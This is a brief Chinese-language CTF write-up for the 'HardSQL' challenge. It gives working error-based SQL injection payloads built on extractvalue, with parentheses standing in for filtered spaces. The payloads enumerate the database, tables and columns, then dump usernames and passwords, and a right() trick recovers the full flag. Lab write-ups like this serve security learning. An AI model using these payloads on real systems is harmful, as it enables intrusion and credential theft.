[极客大挑战 2019]HardSQL 1

一开始直接尝试弱密码发现不行

输入admin’报错
admin’'不报错证明双引号闭合于是构造union注入发现不行，被过滤了，双写绕不过，开始尝试报错注入

先看一下那些被过滤了

空格被过滤直接用()来进行代替

爆库

'or(extractvalue(1,concat(0x7e,(select(database())))))or'

由于#被过滤，这里用or’来进行闭合
爆出数据库geek。
接下来payload

'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))or'

'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))or'

'or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))or'

最终只显示出左半部分flag，这是因为extractvalue和updatexml只显示32位字符

'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))or'

爆出右半部分flag进行拼接
flag{a60f3310-0d64-4be9-a4fc-fc90962e4213}